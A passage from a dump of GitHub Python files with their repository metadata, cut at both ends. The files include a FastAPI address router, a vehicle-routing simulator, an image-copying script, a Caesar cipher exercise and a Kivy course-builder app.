gt_cls)\n\n    criterion_ctr = SigmoidCrossEntropyCenterness()\n    loss_ctr = criterion_ctr(pred_ctr, gt_ctr, gt_cls)\n\n    criterion_reg = IOULoss()\n    loss_reg = criterion_reg(pred_reg, gt_reg, gt_cls)\n\n    from IPython import embed\n    embed()\n","repo_name":"HonglinChu/SiamTrackers","sub_path":"SiamFCpp/SiamFCpp-video_analyst/siamfcpp/model/loss/loss_impl/sigmoid_ce_centerness.py","file_name":"sigmoid_ce_centerness.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":1133,"dataset":"github-code","pt":"19"}
{"seq_id":"45586467263","text":"from typing import Optional\n\nfrom fastapi import APIRouter, Depends, Request, Header\n\nfrom app.order.schemas import ExceptionResponseSchema\nfrom app.address.schemas import AddAddressRequestSchema, UpdateAddressRequestSchema\nfrom app.address.services import AddressService\n\nfrom core.exceptions import UnauthorizedException\nfrom core.fastapi.dependencies import IsAuthenticated, PermissionDependency, get_language_manager\n\naddress_router = APIRouter()\n\n############# add address ##############\n@address_router.post(\n    \"\",\n    response_model=None,\n    responses={ \"400\": { \"model\": ExceptionResponseSchema } },\n    dependencies=[Depends(PermissionDependency([IsAuthenticated]))],\n)\nasync def add_address(\n    request: Request,\n    body: AddAddressRequestSchema,\n    accept_language: Optional[str] = Header(None),\n    language_manager = Depends(get_language_manager),\n):\n    return await AddressService().add_address(**body.dict(), user_id=request.user.id, accept_language=accept_language, language_manager=language_manager)\n\n############# update address ##############\n@address_router.put(\n    \"/{id}\",\n    response_model=None,\n    responses={ \"400\": { \"model\": ExceptionResponseSchema } },\n    dependencies=[Depends(PermissionDependency([IsAuthenticated]))],\n)\nasync def update_address(\n    id: int,\n    request: Request,\n    body: UpdateAddressRequestSchema,\n    accept_language: Optional[str] = Header(None),\n    language_manager = Depends(get_language_manager),\n):\n    return await AddressService().update_address(id=id, **body.dict(), user_id=request.user.id, accept_language=accept_language, language_manager=language_manager)\n\n############# delete address ##############\n@address_router.delete(\n    \"/{id}\",\n    response_model=None,\n    responses={ \"400\": { \"model\": ExceptionResponseSchema } },\n    dependencies=[Depends(PermissionDependency([IsAuthenticated]))],\n)\nasync def delete_address(\n    id: int,\n    request: Request,\n    accept_language: Optional[str] = Header(None),\n    language_manager = Depends(get_language_manager),\n):\n    return { \"success\": False, \"message\": \"Error: not opened yet.\" }\n    # return await AddressService().delete_address(id=id, user_id=request.user.id, accept_language=accept_language, language_manager=language_manager)","repo_name":"techguru0/easyric-api-beta","sub_path":"api/address/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"44040691120","text":"# -*- coding: utf-8 -*-\nimport math\nimport numpy as np\nfrom scipy import spatial\nimport matplotlib.pyplot as plt\n\n\nclass DeliveryNetwork():\n    def __init__(self, settings, data_csv=None):\n        \n        super(DeliveryNetwork, self).__init__()\n        self.settings = settings\n\n        # Tech Paramenters\n        self.conv_time_to_cost = 1.5\n\n        # Basic cardinalities:\n        self.n_deliveries = settings['n_deliveries']\n        self.n_vehicles = settings['n_vehicles']\n\n        # DELIVERY DEFINITION\n        self.delivery_info = {}\n        points = [[0,0]]\n\n        if data_csv:\n            file1 = open(data_csv, 'r')\n            lines = file1.readlines()\n            for i, line in enumerate(lines):\n                if i == 0:\n                    continue\n                tmp = line.strip().split(',')\n                print(\"Line{}: {}\".format(i, tmp))\n                self.delivery_info[int(tmp[0])] = {\n                    'id': int(tmp[0]),\n                    'lat': float(tmp[1]),\n                    'lng': float(tmp[2]),\n                    'crowdsourced': 0,\n                    'vol': float(tmp[3]),\n                    'crowd_cost': float(tmp[4]),\n                    'p_failed': float(tmp[5]),\n                    'time_window_min': float(tmp[6]),\n                    'time_window_max': float(tmp[7]),\n                }\n                points.append([float(tmp[1]), float(tmp[2])])\n        else:\n            mean = [0, 0]\n            cov = [[1, 0], [0, 1]]\n            x, y = np.random.multivariate_normal(mean, cov, self.n_deliveries).T\n            self.__initialize_stochastic()\n            items_vols = self.generate_vols(self.n_deliveries)            \n            for i in range(self.n_deliveries):\n                points.append([x[i], y[i]])\n                \n                time_window_min = (1 + np.random.uniform()) * math.sqrt(x[i]**2 + y[i]**2)\n                time_window_max = time_window_min + 2 + 3 * np.random.uniform() \n\n                self.delivery_info[i + 1] = {\n                    'id': i + 1,\n                    'lat': x[i],\n                    'lng': y[i],\n                    'crowdsourced': 0,\n                    'vol': items_vols[i],\n                    'crowd_cost': self.compute_delivery_costs(items_vols[i]),\n                    'p_failed': 0.5,\n                    'time_window_min': time_window_min,\n                    'time_window_max': time_window_max,\n                }\n\n        # NB: do not assume that the is symetric!\n        if settings['distance_function'] == 'euclidian':\n            self.distance_matrix = spatial.distance_matrix(points, points)\n            \n        \n        # VEHICLE DEFINITION\n        self.vehicles = []\n        for i in range(self.n_vehicles):\n            self.vehicles.append(\n                {\n                    'capacity': settings['vols_vehicles'][i],\n                    'cost': settings['costs_vehicles'][i]\n                }\n            )\n\n    def prepare_crowdsourcing_scenario(self):\n        self.__fail_crowdship = []\n        for _, ele in self.delivery_info.items():\n            if np.random.uniform() < ele['p_failed']:\n                self.__fail_crowdship.append(ele['id'])\n\n    def run_crowdsourcing(self, delivery_to_crowdship):\n        id_remaining_deliveries = [key for key in self.delivery_info]\n        tot_crowd_cost = 0\n        # RE INITIALIZE\n        for key, ele in self.delivery_info.items():\n            ele['crowdsourced'] = 0\n        # UPTADE ACCORDING TO SIMULATION\n        for i in delivery_to_crowdship:\n            if self.delivery_info[i]['id'] not in self.__fail_crowdship:\n                id_remaining_deliveries.remove(i)\n                tot_crowd_cost += self.delivery_info[i]['crowd_cost']\n                self.delivery_info[i]['crowdsourced'] = 1\n        remaining_deliveries = {}\n        for i in id_remaining_deliveries:\n            remaining_deliveries[i] = self.delivery_info[i]\n        return remaining_deliveries, tot_crowd_cost\n\n    def get_delivery(self):\n        return self.delivery_info\n\n    def get_vehicles(self):\n        return self.vehicles\n\n    def __initialize_stochastic(self):\n        funct_cost_dict = {\n            'constant': lambda x: self.settings['funct_cost_dict']['K']*x,\n        }\n        self.compute_delivery_costs = funct_cost_dict[self.settings['funct_cost_dict']['name']]\n\n        vol_distr_dict = {\n            'uniform': lambda x: np.around(\n                np.random.uniform(\n                    low=self.settings['vol_distr']['min_vol_bins'],\n                    high=self.settings['vol_distr']['max_vol_bins'],\n                    size=x\n                )\n            ),\n        }\n        self.generate_vols = vol_distr_dict[self.settings['vol_distr']['name']]\n\n    def evaluate_VRP(self, VRP_solution):\n        # USAGE COST\n        usage_cost = 0\n        errorFlag = False\n        for k in range(self.n_vehicles):\n            if len(VRP_solution[k]) > 0:\n                usage_cost += self.vehicles[k]['cost']\n\n        # TOUR COST and CHECK TIME WINDOWS\n        travel_cost = 0\n        for k in range(self.n_vehicles):\n            tour_time = 0\n            for i in range(1, len(VRP_solution[k])-1):\n                tour_time += self.distance_matrix[\n                    VRP_solution[k][i - 1],\n                    VRP_solution[k][i],\n                ]\n                if tour_time > self.delivery_info[VRP_solution[k][i]]['time_window_max']:\n                    print('Too Late for Delivery: ', VRP_solution[k][i])\n                    errorFlag = True\n                    return travel_cost, errorFlag, k\n                    # raise Exception('Too Late for Delivery: ', VRP_solution[k][i])\n\n            travel_cost += self.conv_time_to_cost * tour_time\n\n        # CHECK VOLUME\n        for k in range(self.n_vehicles):\n            tot_vol_used = 0\n            for i in range(1, len(VRP_solution[k]) - 1):\n                tot_vol_used += self.delivery_info[VRP_solution[k][i]]['vol']\n\n            if tot_vol_used > self.vehicles[k]['capacity']:\n                print(f\"Capacity Bound Violeted {tot_vol_used}>{self.vehicles[k]['capacity']}\")\n                errorFlag = True\n                return travel_cost, errorFlag, k\n                # raise Exception(f\"Capacity Bound Violeted {tot_vol_used}>{self.vehicles[k]['capacity']}\")\n\n        return usage_cost + travel_cost, errorFlag, self.n_vehicles\n\n    def render(self):\n        plt.figure()\n        plt.scatter(0, 0, c='green', marker='s')\n        for key, ele in self.delivery_info.items():\n            plt.scatter(ele['lat'], ele['lng'], c='blue' if ele['crowdsourced'] else 'red')\n        plt.show()\n    \n    def render_tour(self, remaining_deliveries, VRP_solution):\n        # PLOT DATA VRP\n        for k in range(self.n_vehicles):\n            print(f\"** Vehicle {k} **\")\n            tour_time = 0\n            for i in range(1, len(VRP_solution[k]) - 1 ):\n                tour_time += self.distance_matrix[\n                    VRP_solution[k][i - 1],\n                    VRP_solution[k][i],\n                ]\n                print(VRP_solution[k][i]-1)\n                delivery = self.delivery_info[VRP_solution[k][i]]\n                print(f\"node: {delivery['id']}  arrival time: {tour_time:.2f}  [ {delivery['time_window_min']}-{delivery['time_window_max']} ] \")\n            print(f\"** **\")\n\n        fig = plt.figure()\n        # PRINT DELIVERY\n        plt.scatter(0, 0, c='green', marker='s')\n        for _, ele in self.delivery_info.items():\n            plt.scatter(ele['lat'], ele['lng'], c='red' if ele['id'] in remaining_deliveries else 'blue')\n            plt.text(ele['lat'], ele['lng'], ele['id'], fontdict=dict(color='black', alpha=0.5, size=16))\n        self._add_tour(VRP_solution)\n        # if you want to save the picture:\n        # fig.savefig('./results/comparison.png', dpi=200) \n        # if you want to show the graph\n        plt.show()\n\n\n    def _add_tour(self, VRP_solution):\n        dict_vehicle_char = [\n            ('red', '--'),\n            ('blue', '.'),\n            ('violet','.-')\n        ]\n        for k in range(self.n_vehicles):\n            if len(VRP_solution[k]) == 0:\n                continue\n            plt.plot(\n                [0, self.delivery_info[VRP_solution[k][1]]['lat']],\n                [0, self.delivery_info[VRP_solution[k][1]]['lng']],\n                color=dict_vehicle_char[k][0]\n            )\n            for i in range(1, len(VRP_solution[k])-2):\n                plt.plot(\n                    [self.delivery_info[VRP_solution[k][i]]['lat'], self.delivery_info[VRP_solution[k][i + 1]]['lat']],\n                    [self.delivery_info[VRP_solution[k][i]]['lng'], self.delivery_info[VRP_solution[k][i + 1]]['lng']],\n                    color=dict_vehicle_char[k][0]\n                )\n            plt.plot(\n                [self.delivery_info[VRP_solution[k][-2]]['lat'], 0],\n                [self.delivery_info[VRP_solution[k][-2]]['lng'], 0],\n                color=dict_vehicle_char[k][0]\n            )","repo_name":"MojKazemi/CrowdSourcing_VRP","sub_path":"envs/deliveryNetwork.py","file_name":"deliveryNetwork.py","file_ext":"py","file_size_in_byte":8977,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"70919824043","text":"# pylint: disable=C0103, too-few-public-methods, locally-disabled, no-self-use, unused-argument\n'''Copies files with defined tags to\na specified subfolder where the image has valid regions\n'''\nimport argparse\nimport os.path as path\nfrom shutil import copyfile\n\nimport opencvlib.imgpipes.vgg as vgg\nimport opencvlib.imgpipes.digikamlib as dkl\nfrom funclib.iolib import get_file_parts2\nfrom funclib.iolib import create_folder\nfrom funclib.iolib import print_progress\nfrom funclib.baselib import DictList\n\n\ndef main():\n    '''\n    Copies files matching the tags kwargs to\n    the subfolder where the image has no regions set.\n\n    The -r flag will only copy images without any ROIs defined in the VGG JSON file.\n\n    Example:\n    subjectless.py -t OR \"C:/Users/Graham Monkman/OneDrive/Documents/PHD/images/bass/angler/bass-angler.json\" \"C:/Users/Graham Monkman/OneDrive/Documents/PHD/images/digikam4.db\" is_train=head is_train=whole\n    '''\n\n    cmdline = argparse.ArgumentParser(description='Copies image files to a specified subfolder which have'\n                                      ' the specified tags in digikam\\n\\n'\n                                      'Only images in the root of the VGG file folder are checked.\\n\\n'\n                                      'Example:\\n'\n                                      'subjectless.py -t OR \"C:/Users/Graham Monkman/OneDrive/Documents/PHD/images/bass/angler/bass-angler.json\" \"C:/Users/Graham Monkman/OneDrive/Documents/PHD/images/digikam4.db\" is_train=head is_train=whole'\n                                      )\n\n    cmdline.add_argument(\n        '-f', '--subfolder', help='The subfolder to copy the files to. If optional uses the tags to create the folder.', default='')\n    cmdline.add_argument(\n        '-r', '--regionless', help='The default. Only image files without any regions are copied.', default='True')\n    cmdline.add_argument(\n        '-t', '--bool_type', help='Use AND or OR or ANDOR for key-value WHERE. Default:AND', default='ANDOR')\n    cmdline.add_argument('vggfile', help='VGG JSON file to manipulate')\n    cmdline.add_argument('digikamfile', help='Digikam file (sqlitedb) to use')\n    cmdline.add_argument(\n        'key_values', help='Provide tag key value pairs, e.g. species=bass MV=is_train', nargs='+')\n    args = cmdline.parse_args()\n\n    vgg.SILENT = True\n\n    vggfile = path.normpath(args.vggfile)\n    if not path.isfile(vggfile):\n        print('\\n%s is not a file.' % vggfile)\n        return\n\n    try:\n        vgg.load_json(vggfile)\n    except Exception as e:\n        s = ('Failed to initialise VGG JSON file %s.\\n\\n' /\n             'The error was %s\\n\\n' /\n             'Check it is a valid JSON file.' % (vggfile, str(e)))\n        print(s)\n        return\n\n    print(\"Loaded JSON VGG file %s....\" % vggfile)\n\n    digikamfile = path.normpath(args.digikamfile)\n    if not path.isfile(digikamfile):\n        print('\\n%s is not a digikam file.' % digikamfile)\n        return\n\n    try:\n        digi = dkl.ImagePaths(digikamfile)\n    except Exception as e:\n        s = ('Failed to initialise the digikam database %s.\\n\\n' /\n             'The error was %s\\n\\n' /\n             'Check it is not in use and is a valid sqlite database.' % (digikamfile, str(e)))\n        print(s)\n        return\n\n    if not args.key_values:\n        print('No key-value pairs specified.')\n        return\n\n    # Build kw args\n    # allow multiple values in our key value pairs, eg is_train=head\n    # is_train=whole will be {'is_train':['head','whole']}\n    kwords = DictList()\n    for kv in args.key_values:\n        kv = str(kv)\n        a, b = kv.split(sep='=')\n        kwords[a] = b\n\n    # return list of all matching images, irrespective of path\n    if not args.bool_type in ['AND', 'OR', 'ANDOR']:\n        print('Unknown argument %s for -t (the boolean search type). Defaulting to AND' %\n              args.bool_type)\n\n    \n\n    if args.bool_type == 'AND':\n        images = digi.images_by_tags_and(**kwords)\n    elif args.bool_type == 'OR':\n        images = digi.images_by_tags_or(**kwords)\n    elif args.bool_type == 'ANDOR':\n        images = digi.images_by_tags_outerAnd_innerOr(**kwords)\n\n\n    print('%s images matched digikam tag criteria' % len(images))\n    # create the new folder\n    if args.subfolder == '':\n        subfolder = \" \".join(args.key_values)\n    else:\n        subfolder = args.subfolder\n\n    new_fld = path.normpath(get_file_parts2(vggfile)[0] + '/' + subfolder)\n    create_folder(new_fld)\n    print(\"\\nCreated folder %s\" % new_fld)\n\n    vgg_folder = get_file_parts2(vggfile)[0]\n    cnt = 1\n    copy_cnt = 0\n    for img in images:\n        imgfld = get_file_parts2(img)[0]\n        if vgg_folder == imgfld:\n            do_copy = True\n\n            if args.regionless:\n                vgg_image = vgg.Image(img)\n                do_copy = bool(vgg_image.shape_count == 0)\n\n            if do_copy:\n                dest = path.join(new_fld, get_file_parts2(img)[1])\n                copyfile(img, dest)\n                copy_cnt += 1\n\n            s = '%s of %s' % (cnt, len(images))\n            print_progress(cnt, len(images), s, bar_length=30)\n            cnt += 1\n\n    print('Done. Copied %s files to %s' % (copy_cnt, new_fld))\n\n\nif __name__ == \"__main__\":\n    main()\n    #sys.exit(int(main() or 0))\n","repo_name":"gmonkman/python","sub_path":"opencvlib/scripts_vgg/subjectless.py","file_name":"subjectless.py","file_ext":"py","file_size_in_byte":5262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15171637941","text":"# Given an array A[] of size N and an integer K. \n# Your task is to complete the function countDistinct() which prints the count of distinct numbers in all windows of size k in the array A[].\ndef getDisintctCount(arr, n, k):\n    d = {}\n    res = []\n    itos = str\n    start = 0\n    end = k\n    temp = start\n    while end < n:\n        while temp != end:\n            try:\n                d[arr[temp]] += 1\n            except KeyError:\n                d[arr[temp]] = 1\n            temp += 1\n        res.append(len(d.keys()))\n        d[arr[start]] -= 1\n        if d[arr[start]] == 0:\n            del d[arr[start]]\n        start += 1\n        end += 1\n    temp = start\n    while temp != end:\n        try:\n            d[arr[temp]] += 1\n        except KeyError:\n            d[arr[temp]] = 1\n        temp += 1\n    res.append(len(d.keys()))\n    print(\" \".join(itos(x) for x in res))\n\nif __name__ == '__main__':\n    inp = input\n    stoi = int\n    t = stoi(inp())\n    for i in range(t):\n        l = list(map(stoi, inp().strip().split()))\n        n, k = l[0], l[1]\n        arr = list(map(stoi, inp().strip().split()))\n        getDisintctCount(arr, n, k)","repo_name":"ShreyanGoswami/coding-practice","sub_path":"hashing/distinct elements in window/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73275163884","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef imshow_multi(imgs, labels):\r\n    _, axs = plt.subplots(2, 2, figsize=(12, 12))\r\n    axs = axs.flatten()\r\n    for img, ax, label in zip(imgs, axs, labels):\r\n        ax.imshow(img)\r\n        ax.set_title(label)\r\n    plt.show()","repo_name":"Alaaseif10/CV_segmentation_types","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"9262692650","text":"from django.urls import path\n\nfrom .views import UnsubscribeView, WebhookView, AdminWebhookView, AdminMessageView\n\napp_name = 'tms'\n\nurlpatterns = [\n    path('unsubscribe/<uuid:pk>/', UnsubscribeView.as_view(), name='email-unsubscribe'),\n    path('webhook/', WebhookView.as_view(), name='tms-webhook'),\n    path('admin/', AdminWebhookView.as_view(), name='tms-admin-webhook'),\n    path('admin/webhooks/', AdminWebhookView.as_view(), name='tms-admin-webhook'),\n    path('admin/messages/<int:tms_id>/', AdminMessageView.as_view(), name='tms-admin-message'),\n]\n","repo_name":"okkays/crt-portal","sub_path":"crt_portal/tms/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"75031257003","text":"alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n\ndef refactor_position(p_position, p_cipher_type):\n    if p_cipher_type == 'E':\n        while p_position > 25:\n            p_position = p_position - 26\n        return p_position\n    else:\n        while p_position < 0:\n            p_position = p_position + 26\n        return p_position\n\ndef caesar_chiper(p_initial_text, p_shift_amount, p_cipher_type):\n  final_text = \"\"\n  if p_cipher_type == \"D\":\n    p_shift_amount *= -1\n  for char in p_initial_text:\n    if char in alphabet:\n      position = alphabet.index(char)\n      new_position = position + p_shift_amount\n      new_position = refactor_position(new_position, p_cipher_type)\n      final_text += alphabet[new_position]\n    else:\n      final_text += char\n  print(f\"Here's the {'decode' if p_cipher_type =='D' else 'encode'}d result: {final_text}\")\n\n\n\nfrom logo import logo\nprint(logo)\n\nend_program = False\nwhile not end_program:\n  enc_dec = input(\"Type 'E' to encrypt, type 'D' to decrypt:\\n\")\n  text = input(\"Enter your message:\\n\").upper()\n  shift = int(input(\"Enter the shift number:\\n\"))\n  caesar_chiper(p_initial_text=text, p_shift_amount=shift, p_cipher_type=enc_dec)\n  restart = input(\"Type 'Y' if you want to go again. Otherwise type 'N'.\\n\")\n  if restart == \"N\":\n    end_program = True\n    print(\"See you next time!\")","repo_name":"terry109011/My-Python-Projects","sub_path":"List Practice (P21 - P26)/Project 24 - Cryptography/Solution/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73913397482","text":"from kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.button import Button\nfrom kivy.graphics import Ellipse, Color, Line, Rectangle\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.label import Label\nfrom kivy.uix.colorpicker import ColorPicker\nfrom kivy.uix.tabbedpanel import TabbedPanel, TabbedPanelItem\nfrom kivy.uix.spinner import Spinner\nimport json\nimport os\nimport math\n\n# File Operations\ndef load_courses_from_file():\n    if not os.path.exists('courses.json'):\n        save_courses_to_file([])\n    \n    with open('courses.json', 'r') as file:\n        courses = json.load(file)\n        return [course for course in courses if isinstance(course, dict)]\n\ndef save_courses_to_file(courses):\n    with open('courses.json', 'w') as file:\n        json.dump(courses, file)\n\nclass TextCustomizationToolbar(BoxLayout):\n    def __init__(self, text_input, **kwargs):\n        super().__init__(**kwargs)\n        self.text_input = text_input\n        self.size_hint_y = 0.1\n        self.spacing = 10\n\n        # Placeholder for font icon\n        font_icon = Button(text=\"F\", size_hint_x=None, width=40)\n        font_icon.bind(on_press=self.show_font_options)\n        self.add_widget(font_icon)\n\n        # Placeholder for color icon\n        color_icon = Button(text=\"C\", size_hint_x=None, width=40)\n        color_icon.bind(on_press=self.show_color_picker)\n        self.add_widget(color_icon)\n\n        # Placeholder for font size selection\n        font_size_icon = Spinner(text='12', values=('10', '12', '14', '16', '18', '20'), size_hint_x=None, width=60)\n        font_size_icon.bind(text=self.set_font_size)\n        self.add_widget(font_size_icon)\n\n        # Placeholder for highlight text\n        highlight_icon = Button(text=\"H\", size_hint_x=None, width=40)\n        highlight_icon.bind(on_press=self.highlight_text)\n        self.add_widget(highlight_icon)\n\n    def show_font_options(self, instance):\n        font_spinner = Spinner(text=self.text_input.font_name, values=('Roboto', 'Arial', 'Times New Roman'))\n        font_popup = Popup(title=\"Select Font\", content=font_spinner, size_hint=(0.4, 0.4))\n        font_spinner.bind(text=self.set_font)\n        font_popup.open()\n\n    def set_font(self, spinner, font_name):\n        selected_text = self.text_input.selection_text\n        if selected_text:\n            self.text_input.delete_selection()\n            self.text_input.insert_text(f'[font={font_name}]{selected_text}[/font]')\n\n    def show_color_picker(self, instance):\n        color_picker = ColorPicker()\n        color_popup = Popup(title=\"Pick a Color\", content=color_picker, size_hint=(0.8, 0.8))\n        color_picker.bind(color=self.set_text_color)\n        color_popup.open()\n\n    def set_text_color(self, picker, color):\n        selected_text = self.text_input.selection_text\n        if selected_text:\n            hex_color = \"#{:02x}{:02x}{:02x}\".format(int(color[0]*255), int(color[1]*255), int(color[2]*255))\n            self.text_input.delete_selection()\n            self.text_input.insert_text(f'[color={hex_color}]{selected_text}[/color]')\n\n    def set_font_size(self, spinner, font_size):\n        selected_text = self.text_input.selection_text\n        if selected_text:\n            self.text_input.delete_selection()\n            self.text_input.insert_text(f'[size={font_size}]{selected_text}[/size]')\n\n    def highlight_text(self, instance):\n        selected_text = self.text_input.selection_text\n        if selected_text:\n            self.text_input.delete_selection()\n            self.text_input.insert_text(f'[b]{selected_text}[/b]')\n\n\n\n\n# Course Creation Class\nclass CourseCreation(BoxLayout):\n    def __init__(self, preview_window, **kwargs):\n        super().__init__(**kwargs)\n        self.orientation = 'vertical'\n        self.preview_window = preview_window\n\n        # Spinner for bubble type\n        self.bubble_type = Spinner(text='Main', values=('Main', 'Course'), size_hint_y=0.2)\n        self.main_bubble_dropdown = Spinner(text='None', values=self.get_main_bubbles(), size_hint_y=0.2)\n   \n\n        self.title_input = TextInput(hint_text='Enter course title', size_hint_y=0.2)\n        self.content_input = TextInput(hint_text='Enter course content', multiline=True, size_hint_y=0.4)\n        self.x_input = TextInput(hint_text='Enter x position for the bubble', size_hint_y=0.2)\n        self.y_input = TextInput(hint_text='Enter y position for the bubble', size_hint_y=0.2)\n        self.color_picker = ColorPicker(size_hint_y=0.6)\n        \n        self.title_input.bind(text=self.update_preview)\n        self.x_input.bind(text=self.update_preview)\n        self.y_input.bind(text=self.update_preview)\n        \n        self.title_font_input = TextInput(hint_text='Enter title font', size_hint_y=0.2)\n        self.title_color_input = TextInput(hint_text='Enter title color', size_hint_y=0.2)\n        self.subtitle_font_input = TextInput(hint_text='Enter subtitle font', size_hint_y=0.2)\n        self.subtitle_color_input = TextInput(hint_text='Enter subtitle color', size_hint_y=0.2)\n\n        # Set markup property after object creation\n        self.title_input.markup = True\n        self.content_input.markup = True\n\n        # Now create the TextCustomizationToolbar instance\n        self.text_customization_toolbar = TextCustomizationToolbar(text_input=self.content_input)\n        self.add_widget(self.text_customization_toolbar)\n\n        # Set default values\n        self.title_font_input.text = 'Roboto'\n        self.title_color_input.text = '0,0,0,1'  # Black color\n        self.subtitle_font_input.text = 'Roboto'\n        self.subtitle_color_input.text = '0.5,0.5,0.5,1'  # Grey color\n\n\n        self.add_widget(self.title_input)\n        self.add_widget(self.content_input)\n        self.add_widget(self.x_input)\n        self.add_widget(self.y_input)\n        self.add_widget(self.color_picker)\n        self.add_widget(self.bubble_type)\n        self.add_widget(self.main_bubble_dropdown)\n        \n        save_button = Button(text='Save Topic', size_hint_y=0.2)\n        save_button.bind(on_press=self.save_course)\n        self.add_widget(save_button)\n\n    def get_main_bubbles(self):\n        main_bubbles = ['None']\n        for course in load_courses_from_file():\n            if course.get('type') == 'Main':\n                main_bubbles.append(course['title'])\n            elif course.get('main_bubble'):\n                main_bubbles.append('>' + course['title'])\n        return main_bubbles\n\n\n    def save_course(self, instance):\n        course_title = self.title_input.text\n        course_content = self.content_input.text\n        x = int(self.x_input.text)\n        y = int(self.y_input.text)\n        color = self.color_picker.color[:3]\n        bubble_type = self.bubble_type.text\n        main_bubble = self.main_bubble_dropdown.text if self.main_bubble_dropdown.text != 'None' else None\n\n        courses = load_courses_from_file()\n        courses.append({\n            'title': course_title, 'content': course_content, 'x': x, 'y': y, \n            'color': color, 'type': bubble_type, 'main_bubble': main_bubble\n        })\n        save_courses_to_file(courses)\n\n        # Update the main bubble dropdown options\n        self.main_bubble_dropdown.values = self.get_main_bubbles()\n        \n        self.title_input.text = ''\n        self.content_input.text = ''\n        self.x_input.text = ''\n        self.y_input.text = ''\n        \n        self.preview_window.draw_courses()\n\n    def update_preview(self, *args):\n        # Update the preview window with the current bubble details\n        course_title = self.title_input.text\n        x = int(self.x_input.text or 0)\n        y = int(self.y_input.text or 0)\n        color = self.color_picker.color[:3]\n        \n        # Add the current bubble to the courses list for preview\n        courses = load_courses_from_file()\n        current_course = {'title': course_title, 'x': x, 'y': y, 'color': color}\n        courses.append(current_course)\n        \n        # Update the preview window\n        self.preview_window.courses = courses\n        self.preview_window.draw_courses()\n\n# Canvas Drawing and Interactions\nclass CourseCanvas(Widget):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n        self.courses = load_courses_from_file()\n        self.current_main_bubble = None\n        self.draw_courses()\n\n    def draw_courses(self):\n        self.canvas.clear()\n        courses = self.courses\n        \n        # Filter courses based on current main bubble\n        if self.current_main_bubble:\n            courses = [course for course in courses if course.get('main_bubble') == self.current_main_bubble]\n        \n        # Draw connections between bubbles\n        for i, course1 in enumerate(courses):\n            for j, course2 in enumerate(courses):\n                if i != j and self.distance(course1, course2) < 150:\n                    with self.canvas:\n                        Color(0.5, 0.5, 0.5)\n                        Line(points=[course1['x'], course1['y'], course2['x'], course2['y']])\n        \n        for course in courses:\n            x, y = course.get('x', 0), course.get('y', 0)\n            color = course.get('color', (1, 1, 1))\n            with self.canvas:\n                Color(*color)\n                Ellipse(pos=(x-50, y-50), size=(100, 100))\n                \n                label = Label(text=course['title'], pos=(x-50, y-50), size=(100, 100), color=(0, 0, 0, 1))\n                label.texture_update()\n                Rectangle(texture=label.texture, pos=label.pos, size=label.texture_size)\n\n    def distance(self, course1, course2):\n        return math.sqrt((course1['x'] - course2['x'])**2 + (course1['y'] - course2['y'])**2)\n\n    def on_touch_down(self, touch):\n        for course in load_courses_from_file():\n            x, y = course.get('x', 0), course.get('y', 0)\n            if ((touch.x - x) ** 2 + (touch.y - y) ** 2) <= 50**2:\n                if course.get('type') == 'Main':\n                    self.current_main_bubble = course['title']\n                    self.draw_courses()\n                else:\n                    popup = Popup(title=course['title'], content=Label(text=course.get('content', 'No content available')), size_hint=(0.8, 0.8))\n                    popup.open()\n                break\n        return super().on_touch_down(touch)\n\n\nclass LearningPathApp(App):\n    def build(self):\n        # Main layout with tabs\n        tab_panel = TabbedPanel(do_default_tab=False)\n        \n        # Course Creation Tab\n        course_creation_tab = TabbedPanelItem(text=\"Course Creation\")\n        course_creation_layout = BoxLayout(orientation='vertical')\n        \n        self.preview_window = CourseCanvas(size_hint_y=0.7)\n        course_creation = CourseCreation(preview_window=self.preview_window, size_hint_y=0.6)\n        course_creation_layout.add_widget(course_creation)\n        \n        view_topic_button = Button(text=\"View Topic\", size_hint_y=0.1)\n        view_topic_button.bind(on_press=self.toggle_view)\n        course_creation_layout.add_widget(view_topic_button)\n        \n        run_preview_button = Button(text=\"Run Preview\", size_hint_y=0.1)\n        run_preview_button.bind(on_press=self.run_preview)\n        course_creation_layout.add_widget(run_preview_button)\n        \n        course_creation_tab.add_widget(course_creation_layout)\n        tab_panel.add_widget(course_creation_tab)\n        \n        # User Version Tab\n        user_version_tab = TabbedPanelItem(text=\"User Version\")\n        user_version_layout = BoxLayout(orientation='vertical')\n        \n        user_version_canvas = CourseCanvas(size_hint_y=1)\n        user_version_layout.add_widget(user_version_canvas)\n        \n        user_version_tab.add_widget(user_version_layout)\n        tab_panel.add_widget(user_version_tab)\n        \n        return tab_panel\n\n    def toggle_view(self, instance):\n        if self.preview_window.parent:\n            self.root.remove_widget(self.preview_window)\n        else:\n            self.root.add_widget(self.preview_window)\n\n    def run_preview(self, instance):\n        self.preview_window.draw_courses()\n        if not self.preview_window.parent:\n            self.root.add_widget(self.preview_window)\n\nif __name__ == \"__main__\":\n    LearningPathApp().run()","repo_name":"yoman38/Duolingo-like-local","sub_path":"old 